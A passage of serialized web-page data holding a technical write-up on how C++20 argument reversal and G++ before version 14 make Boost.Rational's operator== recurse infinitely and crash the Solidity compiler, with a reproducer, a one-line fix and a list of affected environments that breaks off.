rational\n",{"type":25,"tag":271,"props":104306,"children":104307},{"class":13593,"line":14391},[104308],{"type":25,"tag":271,"props":104309,"children":104310},{"style":13625},[104311],{"type":30,"value":24005},{"type":25,"tag":271,"props":104313,"children":104314},{"class":13593,"line":14400},[104315],{"type":25,"tag":271,"props":104316,"children":104317},{"style":13625},[104318],{"type":30,"value":33460},{"type":25,"tag":271,"props":104320,"children":104321},{"class":13593,"line":16406},[104322],{"type":25,"tag":271,"props":104323,"children":104324},{"style":14289},[104325],{"type":30,"value":103588},{"type":25,"tag":271,"props":104327,"children":104328},{"class":13593,"line":16434},[104329],{"type":25,"tag":271,"props":104330,"children":104331},{"style":13625},[104332],{"type":30,"value":33460},{"type":25,"tag":271,"props":104334,"children":104335},{"class":13593,"line":16447},[104336],{"type":25,"tag":271,"props":104337,"children":104338},{"style":13625},[104339],{"type":30,"value":74901},{"type":25,"tag":271,"props":104341,"children":104342},{"class":13593,"line":16465},[104343,104347,104351,104355,104359],{"type":25,"tag":271,"props":104344,"children":104345},{"style":14289},[104346],{"type":30,"value":103596},{"type":25,"tag":271,"props":104348,"children":104349},{"style":13625},[104350],{"type":30,"value":21839},{"type":25,"tag":271,"props":104352,"children":104353},{"style":14289},[104354],{"type":30,"value":83525},{"type":25,"tag":271,"props":104356,"children":104357},{"style":13609},[104358],{"type":30,"value":19050},{"type":25,"tag":271,"props":104360,"children":104361},{"style":13625},[104362],{"type":30,"value":14448},{"type":25,"tag":271,"props":104364,"children":104365},{"class":13593,"line":16486},[104366,104371,104375,104380,104384,104388,104392,104397,104401,104405,104409,104413,104417,104421,104426,104430,104434,104438,104442,104446],{"type":25,"tag":271,"props":104367,"children":104368},{"style":13625},[104369],{"type":30,"value":104370},"    BOOST_CONSTEXPR ",{"type":25,"tag":271,"props":104372,"children":104373},{"style":14289},[104374],{"type":30,"value":103555},{"type":25,"tag":271,"props":104376,"children":104377},{"style":13625},[104378],{"type":30,"value":104379}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":25,"tag":271,"props":104381,"children":104382},{"style":13609},[104383],{"type":30,"value":301},{"type":25,"tag":271,"props":104385,"children":104386},{"style":13625},[104387],{"type":30,"value":44},{"type":25,"tag":271,"props":104389,"children":104390},{"style":13609},[104391],{"type":30,"value":103789},{"type":25,"tag":271,"props":104393,"children":104394},{"style":13625},[104395],{"type":30,"value":104396},">::",{"type":25,"tag":271,"props":104398,"children":104399},{"style":13609},[104400],{"type":30,"value":52262},{"type":25,"tag":271,"props":104402,"children":104403},{"style":13625},[104404],{"type":30,"value":44},{"type":25,"tag":271,"props":104406,"children":104407},{"style":14289},[104408],{"type":30,"value":42798},{"type":25,"tag":271,"props":104410,"children":104411},{"style":13625},[104412],{"type":30,"value":104396},{"type":25,"tag":271,"props":104414,"children":104415},{"style":13609},[104416],{"type":30,"value":45869},{"type":25,"tag":271,"props":104418,"children":104419},{"style":14289},[104420],{"type":30,"value":103624},{"type":25,"tag":271,"props":104422,"children":104423},{"style":13625},[104424],{"type":30,"value":104425},"== (",{"type":25,"tag":271,"props":104427,"children":104428},{"style":14289},[104429],{"type":30,"value":22778},{"type":25,"tag":271,"props":104431,"children":104432},{"style":13609},[104433],{"type":30,"value":19050},{"type":25,"tag":271,"props":104435,"children":104436},{"style":14289},[104437],{"type":30,"value":13632},{"type":25,"tag":271,"props":104439,"children":104440},{"style":13598},[104441],{"type":30,"value":16544},{"type":25,"tag":271,"props":104443,"children":104444},{"style":13625},[104445],{"type":30,"value":14406},{"type":25,"tag":271,"props":104447,"children":104448},{"style":14289},[104449],{"type":30,"value":104450},"const\n",{"type":25,"tag":271,"props":104452,"children":104453},{"class":13593,"line":16495},[104454],{"type":25,"tag":271,"props":104455,"children":104456},{"style":13625},[104457],{"type":30,"value":42299},{"type":25,"tag":271,"props":104459,"children":104460},{"class":13593,"line":16744},[104461,104466,104471,104475,104479,104483,104487,104491,104495,104500,104504],{"type":25,"tag":271,"props":104462,"children":104463},{"style":16171},[104464],{"type":30,"value":104465},"       return",{"type":25,"tag":271,"props":104467,"children":104468},{"style":13625},[104469],{"type":30,"value":104470}," ((den ",{"type":25,"tag":271,"props":104472,"children":104473},{"style":13603},[104474],{"type":30,"value":21696},{"type":25,"tag":271,"props":104476,"children":104477},{"style":13620},[104478],{"type":30,"value":103560},{"type":25,"tag":271,"props":104480,"children":104481},{"style":13625},[104482],{"type":30,"value":394},{"type":25,"tag":271,"props":104484,"children":104485},{"style":16187},[104486],{"type":30,"value":968},{"type":25,"tag":271,"props":104488,"children":104489},{"style":13625},[104490],{"type":30,"value":21957},{"type":25,"tag":271,"props":104492,"children":104493},{"style":13603},[104494],{"type":30,"value":86311},{"type":25,"tag":271,"props":104496,"children":104497},{"style":13625},[104498],{"type":30,"value":104499}," (num ",{"type":25,"tag":271,"props":104501,"children":104502},{"style":13603},[104503],{"type":30,"value":21696},{"type":25,"tag":271,"props":104505,"children":104506},{"style":13625},[104507],{"type":30,"value":104508}," i));\n",{"type":25,"tag":271,"props":104510,"children":104511},{"class":13593,"line":16761},[104512],{"type":25,"tag":271,"props":104513,"children":104514},{"style":13625},[104515],{"type":30,"value":16501},{"type":25,"tag":271,"props":104517,"children":104518},{"class":13593,"line":16778},[104519],{"type":25,"tag":271,"props":104520,"children":104521},{"style":13625},[104522],{"type":30,"value":33460},{"type":25,"tag":271,"props":104524,"children":104525},{"class":13593,"line":16791},[104526],{"type":25,"tag":271,"props":104527,"children":104528},{"style":13625},[104529],{"type":30,"value":17058},{"type":25,"tag":271,"props":104531,"children":104532},{"class":13593,"line":16800},[104533],{"type":25,"tag":271,"props":104534,"children":104535},{"emptyLinePlaceholder":18},[104536],{"type":30,"value":16829},{"type":25,"tag":271,"props":104538,"children":104539},{"class":13593,"line":16823},[104540,104544,104548,104552,104556,104560,104564,104568],{"type":25,"tag":271,"props":104541,"children":104542},{"style":14289},[104543],{"type":30,"value":79331},{"type":25,"tag":271,"props":104545,"children":104546},{"style":13625},[104547],{"type":30,"value":21839},{"type":25,"tag":271,"props":104549,"children":104550},{"style":14289},[104551],{"type":30,"value":83525},{"type":25,"tag":271,"props":104553,"children":104554},{"style":13609},[104555],{"type":30,"value":103741},{"type":25,"tag":271,"props":104557,"children":104558},{"style":13625},[104559],{"type":30,"value":44},{"type":25,"tag":271,"props":104561,"children":104562},{"style":14289},[104563],{"type":30,"value":83525},{"type":25,"tag":271,"props":104565,"children":104566},{"style":13609},[104567],{"type":30,"value":103560},{"type":25,"tag":271,"props":104569,"children":104570},{"style":13625},[104571],{"type":30,"value":14448},{"type":25,"tag":271,"props":104573,"children":104574},{"class":13593,"line":16832},[104575],{"type":25,"tag":271,"props":104576,"children":104577},{"style":13625},[104578],{"type":30,"value":104579},"BOOST_CONSTEXPR\n",{"type":25,"tag":271,"props":104581,"children":104582},{"class":13593,"line":16841},[104583,104588,104593,104598,104603],{"type":25,"tag":271,"props":104584,"children":104585},{"style":14289},[104586],{"type":30,"value":104587},"inline",{"type":25,"tag":271,"props":104589,"children":104590},{"style":14289},[104591],{"type":30,"value":104592}," typename",{"type":25,"tag":271,"props":104594,"children":104595},{"style":13625},[104596],{"type":30,"value":104597}," boost::",{"type":25,"tag":271,"props":104599,"children":104600},{"style":13609},[104601],{"type":30,"value":104602},"enable_if_c",{"type":25,"tag":271,"props":104604,"children":104605},{"style":13603},[104606],{"type":30,"value":104607}," \u003C\n",{"type":25,"tag":271,"props":104609,"children":104610},{"class":13593,"line":16907},[104611,104616,104621,104625,104629,104634,104638,104642],{"type":25,"tag":271,"props":104612,"children":104613},{"style":13625},[104614],{"type":30,"value":104615},"   rational_detail::is_compatible_integer\u003C",{"type":25,"tag":271,"props":104617,"children":104618},{"style":13609},[104619],{"type":30,"value":104620},"Arg",{"type":25,"tag":271,"props":104622,"children":104623},{"style":13625},[104624],{"type":30,"value":44},{"type":25,"tag":271,"props":104626,"children":104627},{"style":13609},[104628],{"type":30,"value":103789},{"type":25,"tag":271,"props":104630,"children":104631},{"style":13625},[104632],{"type":30,"value":104633},">::value, ",{"type":25,"tag":271,"props":104635,"children":104636},{"style":14289},[104637],{"type":30,"value":42798},{"type":25,"tag":271,"props":104639,"children":104640},{"style":13603},[104641],{"type":30,"value":23586},{"type":25,"tag":271,"props":104643,"children":104644},{"style":13625},[104645],{"type":30,"value":104646},"::type\n",{"type":25,"tag":271,"props":104648,"children":104649},{"class":13593,"line":16915},[104650,104655,104660,104664,104668,104672,104676,104680,104684,104688,104692,104696,104700,104704,104708],{"type":25,"tag":271,"props":104651,"children":104652},{"style":14289},[104653],{"type":30,"value":104654},"   operator",{"type":25,"tag":271,"props":104656,"children":104657},{"style":13625},[104658],{"type":30,"value":104659}," == (",{"type":25,"tag":271,"props":104661,"children":104662},{"style":14289},[104663],{"type":30,"value":22778},{"type":25,"tag":271,"props":104665,"children":104666},{"style":13609},[104667],{"type":30,"value":103741},{"type":25,"tag":271,"props":104669,"children":104670},{"style":14289},[104671],{"type":30,"value":13632},{"type":25,"tag":271,"props":104673,"children":104674},{"style":13598},[104675],{"type":30,"value":103822},{"type":25,"tag":271,"props":104677,"children":104678},{"style":13625},[104679],{"type":30,"value":44},{"type":25,"tag":271,"props":104681,"children":104682},{"style":14289},[104683],{"type":30,"value":22778},{"type":25,"tag":271,"props":104685,"children":104686},{"style":13609},[104687],{"type":30,"value":103576},{"type":25,"tag":271,"props":104689,"children":104690},{"style":13625},[104691],{"type":30,"value":14307},{"type":25,"tag":271,"props":104693,"children":104694},{"style":13609},[104695],{"type":30,"value":103789},{"type":25,"tag":271,"props":104697,"children":104698},{"style":13625},[104699],{"type":30,"value":23586},{"type":25,"tag":271,"props":104701,"children":104702},{"style":14289},[104703],{"type":30,"value":13632},{"type":25,"tag":271,"props":104705,"children":104706},{"style":13598},[104707],{"type":30,"value":102948},{"type":25,"tag":271,"props":104709,"children":104710},{"style":13625},[104711],{"type":30,"value":16299},{"type":25,"tag":271,"props":104713,"children":104714},{"class":13593,"line":16945},[104715],{"type":25,"tag":271,"props":104716,"children":104717},{"style":13625},[104718],{"type":30,"value":24005},{"type":25,"tag":271,"props":104720,"children":104721},{"class":13593,"line":16953},[104722,104726,104730,104734],{"type":25,"tag":271,"props":104723,"children":104724},{"style":16171},[104725],{"type":30,"value":52467},{"type":25,"tag":271,"props":104727,"children":104728},{"style":13625},[104729],{"type":30,"value":29886},{"type":25,"tag":271,"props":104731,"children":104732},{"style":13603},[104733],{"type":30,"value":21696},{"type":25,"tag":271,"props":104735,"children":104736},{"style":13625},[104737],{"type":30,"value":104738}," b; \n",{"type":25,"tag":271,"props":104740,"children":104741},{"class":13593,"line":16984},[104742],{"type":25,"tag":271,"props":104743,"children":104744},{"style":13625},[104745],{"type":30,"value":17058},{"type":25,"tag":26,"props":104747,"children":104748},{},[104749,104751,104757],{"type":30,"value":104750},"This was designed under C++17 semantics. Back then, ",{"type":25,"tag":264,"props":104752,"children":104754},{"className":104753},[],[104755],{"type":30,"value":104756},"rhs == lhs",{"type":30,"value":104758}," would fall back to member overloads if available. All good.",{"type":25,"tag":26,"props":104760,"children":104761},{},[104762,104764,104769,104770,104776],{"type":30,"value":104763},"But under ",{"type":25,"tag":264,"props":104765,"children":104767},{"className":104766},[],[104768],{"type":30,"value":103313},{"type":30,"value":34624},{"type":25,"tag":264,"props":104771,"children":104773},{"className":104772},[],[104774],{"type":30,"value":104775},"G++ \u003C 14",{"type":30,"value":359},{"type":25,"tag":108,"props":104778,"children":104779},{},[104780,104785,104790,104795],{"type":25,"tag":112,"props":104781,"children":104782},{},[104783],{"type":30,"value":104784},"G++ incorrectly chooses this non-member operator first",{"type":25,"tag":112,"props":104786,"children":104787},{},[104788],{"type":30,"value":104789},"C++20 reverses the comparison",{"type":25,"tag":112,"props":104791,"children":104792},{},[104793],{"type":30,"value":104794},"Which calls the same function again with arguments flipped",{"type":25,"tag":112,"props":104796,"children":104797},{},[104798],{"type":30,"value":104799},"And so on...",{"type":25,"tag":26,"props":104801,"children":104802},{},[104803,104805,104810],{"type":30,"value":104804},"This creates ",{"type":25,"tag":38,"props":104806,"children":104807},{},[104808],{"type":30,"value":104809},"infinite recursion",{"type":30,"value":1860},{"type":25,"tag":26,"props":104812,"children":104813},{},[104814],{"type":30,"value":104815},"A minimal example:",{"type":25,"tag":7764,"props":104817,"children":104819},{"code":104818,"language":42224,"meta":7,"className":42222,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[104820],{"type":25,"tag":264,"props":104821,"children":104822},{"__ignoreMap":7},[104823,104831,104843,104850,104865,104889,104912],{"type":25,"tag":271,"props":104824,"children":104825},{"class":13593,"line":13594},[104826],{"type":25,"tag":271,"props":104827,"children":104828},{"style":14385},[104829],{"type":30,"value":104830},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":25,"tag":271,"props":104832,"children":104833},{"class":13593,"line":11641},[104834,104838],{"type":25,"tag":271,"props":104835,"children":104836},{"style":16171},[104837],{"type":30,"value":103527},{"type":25,"tag":271,"props":104839,"children":104840},{"style":17388},[104841],{"type":30,"value":104842}," \u003Cboost/rational.hpp>\n",{"type":25,"tag":271,"props":104844,"children":104845},{"class":13593,"line":14354},[104846],{"type":25,"tag":271,"props":104847,"children":104848},{"emptyLinePlaceholder":18},[104849],{"type":30,"value":16829},{"type":25,"tag":271,"props":104851,"children":104852},{"class":13593,"line":14391},[104853,104857,104861],{"type":25,"tag":271,"props":104854,"children":104855},{"style":14289},[104856],{"type":30,"value":32168},{"type":25,"tag":271,"props":104858,"children":104859},{"style":13620},[104860],{"type":30,"value":103892},{"type":25,"tag":271,"props":104862,"children":104863},{"style":13625},[104864],{"type":30,"value":28858},{"type":25,"tag":271,"props":104866,"children":104867},{"class":13593,"line":14400},[104868,104873,104877,104881,104885],{"type":25,"tag":271,"props":104869,"children":104870},{"style":13625},[104871],{"type":30,"value":104872},"    boost::rational",{"type":25,"tag":271,"props":104874,"children":104875},{"style":13603},[104876],{"type":30,"value":14307},{"type":25,"tag":271,"props":104878,"children":104879},{"style":14289},[104880],{"type":30,"value":32168},{"type":25,"tag":271,"props":104882,"children":104883},{"style":13603},[104884],{"type":30,"value":23586},{"type":25,"tag":271,"props":104886,"children":104887},{"style":13625},[104888],{"type":30,"value":103921},{"type":25,"tag":271,"props":104890,"children":104891},{"class":13593,"line":16406},[104892,104896,104900,104904,104908],{"type":25,"tag":271,"props":104893,"children":104894},{"style":16171},[104895],{"type":30,"value":30111},{"type":25,"tag":271,"props":104897,"children":104898},{"style":13625},[104899],{"type":30,"value":103933},{"type":25,"tag":271,"props":104901,"children":104902},{"style":13603},[104903],{"type":30,"value":21696},{"type":25,"tag":271,"props":104905,"children":104906},{"style":16187},[104907],{"type":30,"value":16190},{"type":25,"tag":271,"props":104909,"children":104910},{"style":13625},[104911],{"type":30,"value":16165},{"type":25,"tag":271,"props":104913,"children":104914},{"class":13593,"line":16434},[104915],{"type":25,"tag":271,"props":104916,"children":104917},{"style":13625},[104918],{"type":30,"value":17058},{"type":25,"tag":26,"props":104920,"children":104921},{},[104922],{"type":30,"value":104923},"Expected output: nothing.",{"type":25,"tag":26,"props":104925,"children":104926},{},[104927],{"type":30,"value":104928},"Actual: segmentation fault (stack overflow).",{"type":25,"tag":26,"props":104930,"children":104931},{},[104932,104934,104941],{"type":30,"value":104933},"This exact pattern was ",{"type":25,"tag":83,"props":104935,"children":104938},{"href":104936,"rel":104937},"https://github.com/boostorg/rational/issues/43",[9066],[104939],{"type":30,"value":104940},"reported and fixed in Boost rational",{"type":30,"value":104942},", but only in version 1.75+.",{"type":25,"tag":26,"props":104944,"children":104945},{},[104946],{"type":30,"value":104947},"Here’s the one-line fix:",{"type":25,"tag":7764,"props":104949,"children":104951},{"code":104950,"language":53473,"meta":7,"className":53471,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[104952],{"type":25,"tag":264,"props":104953,"children":104954},{"__ignoreMap":7},[104955,104963,104970,104978,104986,104994,105001,105009,105017],{"type":25,"tag":271,"props":104956,"children":104957},{"class":13593,"line":13594},[104958],{"type":25,"tag":271,"props":104959,"children":104960},{"style":13625},[104961],{"type":30,"value":104962},"template \u003Cclass Arg, class IntType>\n",{"type":25,"tag":271,"props":104964,"children":104965},{"class":13593,"line":11641},[104966],{"type":25,"tag":271,"props":104967,"children":104968},{"style":13625},[104969],{"type":30,"value":104579},{"type":25,"tag":271,"props":104971,"children":104972},{"class":13593,"line":14354},[104973],{"type":25,"tag":271,"props":104974,"children":104975},{"style":13625},[104976],{"type":30,"value":104977},"inline typename boost::enable_if_c \u003C\n",{"type":25,"tag":271,"props":104979,"children":104980},{"class":13593,"line":14391},[104981],{"type":25,"tag":271,"props":104982,"children":104983},{"style":13625},[104984],{"type":30,"value":104985},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":25,"tag":271,"props":104987,"children":104988},{"class":13593,"line":14400},[104989],{"type":25,"tag":271,"props":104990,"children":104991},{"style":13625},[104992],{"type":30,"value":104993},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":25,"tag":271,"props":104995,"children":104996},{"class":13593,"line":16406},[104997],{"type":25,"tag":271,"props":104998,"children":104999},{"style":13625},[105000],{"type":30,"value":24005},{"type":25,"tag":271,"props":105002,"children":105003},{"class":13593,"line":16434},[105004],{"type":25,"tag":271,"props":105005,"children":105006},{"style":17388},[105007],{"type":30,"value":105008},"-     return a == b;\n",{"type":25,"tag":271,"props":105010,"children":105011},{"class":13593,"line":16447},[105012],{"type":25,"tag":271,"props":105013,"children":105014},{"style":16187},[105015],{"type":30,"value":105016},"+     return a.operator==(b);\n",{"type":25,"tag":271,"props":105018,"children":105019},{"class":13593,"line":16465},[105020],{"type":25,"tag":271,"props":105021,"children":105022},{"style":13625},[105023],{"type":30,"value":17058},{"type":25,"tag":26,"props":105025,"children":105026},{},[105027,105029,105034,105036,105041],{"type":30,"value":105028},"Instead of calling ",{"type":25,"tag":264,"props":105030,"children":105032},{"className":105031},[],[105033],{"type":30,"value":103359},{"type":30,"value":105035}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":25,"tag":264,"props":105037,"children":105039},{"className":105038},[],[105040],{"type":30,"value":103367},{"type":30,"value":1860},{"type":25,"tag":26,"props":105043,"children":105044},{},[105045],{"type":30,"value":105046},"This prevents C++20 from triggering recursive rewrites.",{"type":25,"tag":92,"props":105048,"children":105049},{},[],{"type":25,"tag":96,"props":105051,"children":105053},{"id":105052},"part-iv-how-this-breaks-solidity",[105054],{"type":30,"value":105055},"Part IV: How This Breaks Solidity",{"type":25,"tag":26,"props":105057,"children":105058},{},[105059,105061,105066],{"type":30,"value":105060},"The Solidity codebase uses ",{"type":25,"tag":264,"props":105062,"children":105064},{"className":105063},[],[105065],{"type":30,"value":103214},{"type":30,"value":105067}," to represent certain compile-time constant expressions.",{"type":25,"tag":26,"props":105069,"children":105070},{},[105071,105073,105079],{"type":30,"value":105072},"One snippet that can trigger this issue appears in ",{"type":25,"tag":264,"props":105074,"children":105076},{"className":105075},[],[105077],{"type":30,"value":105078},"DeclarationTypeChecker::endVisit",{"type":30,"value":359},{"type":25,"tag":7764,"props":105081,"children":105083},{"code":105082,"language":42224,"meta":7,"className":42222,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[105084],{"type":25,"tag":264,"props":105085,"children":105086},{"__ignoreMap":7},[105087,105134,105159,105166,105244,105251,105304,105332,105339,105359,105366,105406,105413],{"type":25,"tag":271,"props":105088,"children":105089},{"class":13593,"line":13594},[105090,105094,105099,105103,105107,105112,105116,105121,105125,105129],{"type":25,"tag":271,"props":105091,"children":105092},{"style":16171},[105093],{"type":30,"value":28701},{"type":25,"tag":271,"props":105095,"children":105096},{"style":13625},[105097],{"type":30,"value":105098}," (Expression ",{"type":25,"tag":271,"props":105100,"children":105101},{"style":14289},[105102],{"type":30,"value":22778},{"type":25,"tag":271,"props":105104,"children":105105},{"style":13603},[105106],{"type":30,"value":17702},{"type":25,"tag":271,"props":105108,"children":105109},{"style":13625},[105110],{"type":30,"value":105111}," length ",{"type":25,"tag":271,"props":105113,"children":105114},{"style":13603},[105115],{"type":30,"value":1065},{"type":25,"tag":271,"props":105117,"children":105118},{"style":13598},[105119],{"type":30,"value":105120}," _typeName",{"type":25,"tag":271,"props":105122,"children":105123},{"style":13625},[105124],{"type":30,"value":1860},{"type":25,"tag":271,"props":105126,"children":105127},{"style":13620},[105128],{"type":30,"value":21624},{"type":25,"tag":271,"props":105130,"children":105131},{"style":13625},[105132],{"type":30,"value":105133},"()) {\n",{"type":25,"tag":271,"props":105135,"children":105136},{"class":13593,"line":11641},[105137,105142,105146,105150,105154],{"type":25,"tag":271,"props":105138,"children":105139},{"style":13625},[105140],{"type":30,"value":105141},"    std::optional",{"type":25,"tag":271,"props":105143,"children":105144},{"style":13603},[105145],{"type":30,"value":14307},{"type":25,"tag":271,"props":105147,"children":105148},{"style":13625},[105149],{"type":30,"value":104219},{"type":25,"tag":271,"props":105151,"children":105152},{"style":13603},[105153],{"type":30,"value":23586},{"type":25,"tag":271,"props":105155,"children":105156},{"style":13625},[105157],{"type":30,"value":105158}," lengthValue;\n",{"type":25,"tag":271,"props":105160,"children":105161},{"class":13593,"line":14354},[105162],{"type":25,"tag":271,"props":105163,"children":105164},{"emptyLinePlaceholder":18},[105165],{"type":30,"value":16829},{"type":25,"tag":271,"props":105167,"children":105168},{"class":13593,"line":14391},[105169,105173,105177,105181,105185,105189,105193,105197,105201,105206,105210,105214,105218,105222,105226,105231,105235,105239],{"type":25,"tag":271,"props":105170,"children":105171},{"style":16171},[105172],{"type":30,"value":25404},{"type":25,"tag":271,"props":105174,"children":105175},{"style":13625},[105176],{"type":30,"value":16213},{"type":25,"tag":271,"props":105178,"children":105179},{"style":13598},[105180],{"type":30,"value":21624},{"type":25,"tag":271,"props":105182,"children":105183},{"style":13625},[105184],{"type":30,"value":14411},{"type":25,"tag":271,"props":105186,"children":105187},{"style":13620},[105188],{"type":30,"value":43275},{"type":25,"tag":271,"props":105190,"children":105191},{"style":13625},[105192],{"type":30,"value":43280},{"type":25,"tag":271,"props":105194,"children":105195},{"style":13598},[105196],{"type":30,"value":45869},{"type":25,"tag":271,"props":105198,"children":105199},{"style":13603},[105200],{"type":30,"value":27306},{"type":25,"tag":271,"props":105202,"children":105203},{"style":13598},[105204],{"type":30,"value":105205}," length",{"type":25,"tag":271,"props":105207,"children":105208},{"style":13625},[105209],{"type":30,"value":14411},{"type":25,"tag":271,"props":105211,"children":105212},{"style":13620},[105213],{"type":30,"value":43275},{"type":25,"tag":271,"props":105215,"children":105216},{"style":13625},[105217],{"type":30,"value":43280},{"type":25,"tag":271,"props":105219,"children":105220},{"style":13598},[105221],{"type":30,"value":45869},{"type":25,"tag":271,"props":105223,"children":105224},{"style":13625},[105225],{"type":30,"value":14411},{"type":25,"tag":271,"props":105227,"children":105228},{"style":13620},[105229],{"type":30,"value":105230},"category",{"type":25,"tag":271,"props":105232,"children":105233},{"style":13625},[105234],{"type":30,"value":27164},{"type":25,"tag":271,"props":105236,"children":105237},{"style":13603},[105238],{"type":30,"value":21696},{"type":25,"tag":271,"props":105240,"children":105241},{"style":13625},[105242],{"type":30,"value":105243}," Type::Category::RationalNumber)\n",{"type":25,"tag":271,"props":105245,"children":105246},{"class":13593,"line":14400},[105247],{"type":25,"tag":271,"props":105248,"children":105249},{"style":13625},[105250],{"type":30,"value":94955},{"type":25,"tag":271,"props":105252,"children":105253},{"class":13593,"line":16406},[105254,105259,105263,105268,105272,105277,105281,105286,105290,105295,105299],{"type":25,"tag":271,"props":105255,"children":105256},{"style":16171},[105257],{"type":30,"value":105258},"    else",{"type":25,"tag":271,"props":105260,"children":105261},{"style":16171},[105262],{"type":30,"value":28910},{"type":25,"tag":271,"props":105264,"children":105265},{"style":13625},[105266],{"type":30,"value":105267}," (std::optional",{"type":25,"tag":271,"props":105269,"children":105270},{"style":13603},[105271],{"type":30,"value":14307},{"type":25,"tag":271,"props":105273,"children":105274},{"style":13625},[105275],{"type":30,"value":105276},"ConstantEvaluator::TypedRational",{"type":25,"tag":271,"props":105278,"children":105279},{"style":13603},[105280],{"type":30,"value":23586},{"type":25,"tag":271,"props":105282,"children":105283},{"style":13625},[105284],{"type":30,"value":105285}," value ",{"type":25,"tag":271,"props":105287,"children":105288},{"style":13603},[105289],{"type":30,"value":1065},{"type":25,"tag":271,"props":105291,"children":105292},{"style":13625},[105293],{"type":30,"value":105294}," ConstantEvaluator::",{"type":25,"tag":271,"props":105296,"children":105297},{"style":13620},[105298],{"type":30,"value":51115},{"type":25,"tag":271,"props":105300,"children":105301},{"style":13625},[105302],{"type":30,"value":105303},"(...))\n",{"type":25,"tag":271,"props":105305,"children":105306},{"class":13593,"line":16434},[105307,105312,105316,105320,105324,105328],{"type":25,"tag":271,"props":105308,"children":105309},{"style":13625},[105310],{"type":30,"value":105311},"        lengthValue ",{"type":25,"tag":271,"props":105313,"children":105314},{"style":13603},[105315],{"type":30,"value":1065},{"type":25,"tag":271,"props":105317,"children":105318},{"style":13598},[105319],{"type":30,"value":45623},{"type":25,"tag":271,"props":105321,"children":105322},{"style":13625},[105323],{"type":30,"value":14411},{"type":25,"tag":271,"props":105325,"children":105326},{"style":13598},[105327],{"type":30,"value":52262},{"type":25,"tag":271,"props":105329,"children":105330},{"style":13625},[105331],{"type":30,"value":16165},{"type":25,"tag":271,"props":105333,"children":105334},{"class":13593,"line":16447},[105335],{"type":25,"tag":271,"props":105336,"children":105337},{"emptyLinePlaceholder":18},[105338],{"type":30,"value":16829},{"type":25,"tag":271,"props":105340,"children":105341},{"class":13593,"line":16465},[105342,105346,105350,105354],{"type":25,"tag":271,"props":105343,"children":105344},{"style":16171},[105345],{"type":30,"value":25404},{"type":25,"tag":271,"props":105347,"children":105348},{"style":13625},[105349],{"type":30,"value":16213},{"type":25,"tag":271,"props":105351,"children":105352},{"style":13603},[105353],{"type":30,"value":33742},{"type":25,"tag":271,"props":105355,"children":105356},{"style":13625},[105357],{"type":30,"value":105358},"lengthValue)\n",{"type":25,"tag":271,"props":105360,"children":105361},{"class":13593,"line":16486},[105362],{"type":25,"tag":271,"props":105363,"children":105364},{"style":13625},[105365],{"type":30,"value":94955},{"type":25,"tag":271,"props":105367,"children":105368},{"class":13593,"line":16495},[105369,105373,105377,105381,105385,105389,105393,105397,105401],{"type":25,"tag":271,"props":105370,"children":105371},{"style":16171},[105372],{"type":30,"value":105258},{"type":25,"tag":271,"props":105374,"children":105375},{"style":16171},[105376],{"type":30,"value":28910},{"type":25,"tag":271,"props":105378,"children":105379},{"style":13625},[105380],{"type":30,"value":16213},{"type":25,"tag":271,"props":105382,"children":105383},{"style":13603},[105384],{"type":30,"value":17702},{"type":25,"tag":271,"props":105386,"children":105387},{"style":13625},[105388],{"type":30,"value":103190},{"type":25,"tag":271,"props":105390,"children":105391},{"style":13603},[105392],{"type":30,"value":21696},{"type":25,"tag":271,"props":105394,"children":105395},{"style":16187},[105396],{"type":30,"value":16190},{"type":25,"tag":271,"props":105398,"children":105399},{"style":13625},[105400],{"type":30,"value":440},{"type":25,"tag":271,"props":105402,"children":105403},{"style":14385},[105404],{"type":30,"value":105405},"  // \u003C-- Infinite recursion happens here\n",{"type":25,"tag":271,"props":105407,"children":105408},{"class":13593,"line":16744},[105409],{"type":25,"tag":271,"props":105410,"children":105411},{"style":13625},[105412],{"type":30,"value":94955},{"type":25,"tag":271,"props":105414,"children":105415},{"class":13593,"line":16761},[105416],{"type":25,"tag":271,"props":105417,"children":105418},{"style":13625},[105419],{"type":30,"value":17058},{"type":25,"tag":26,"props":105421,"children":105422},{},[105423],{"type":30,"value":105424},"Under normal circumstances, this expression is benign. But:",{"type":25,"tag":108,"props":105426,"children":105427},{},[105428,105433,105438],{"type":25,"tag":112,"props":105429,"children":105430},{},[105431],{"type":30,"value":105432},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":25,"tag":112,"props":105434,"children":105435},{},[105436],{"type":30,"value":105437},"C++20 reverses the arguments",{"type":25,"tag":112,"props":105439,"children":105440},{},[105441],{"type":30,"value":105442},"The non-member operator recursively calls itself",{"type":25,"tag":26,"props":105444,"children":105445},{},[105446],{"type":30,"value":105447},"💥: segmentation fault.",{"type":25,"tag":92,"props":105449,"children":105450},{},[],{"type":25,"tag":96,"props":105452,"children":105454},{"id":105453},"part-v-what-environments-are-affected",[105455],{"type":30,"value":105456},"Part V: What Environments are Affected?",{"type":25,"tag":26,"props":105458,"children":105459},{},[105460],{"type":30,"value":105461},"If a system uses any of the following:",{"type":25,"tag":108,"props":105463,"children":105464},{},[105465,105470,105475],{"type":25,"tag":112,"props":105466,"children":105467},{},[105468],{"type":30,"value":105469},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":25,"tag":112,"props":105471,"children":105472},{},[105473],{"type":30,"value":105474},"Boost \u003C 1.75 (e.g., 1.74 ships with 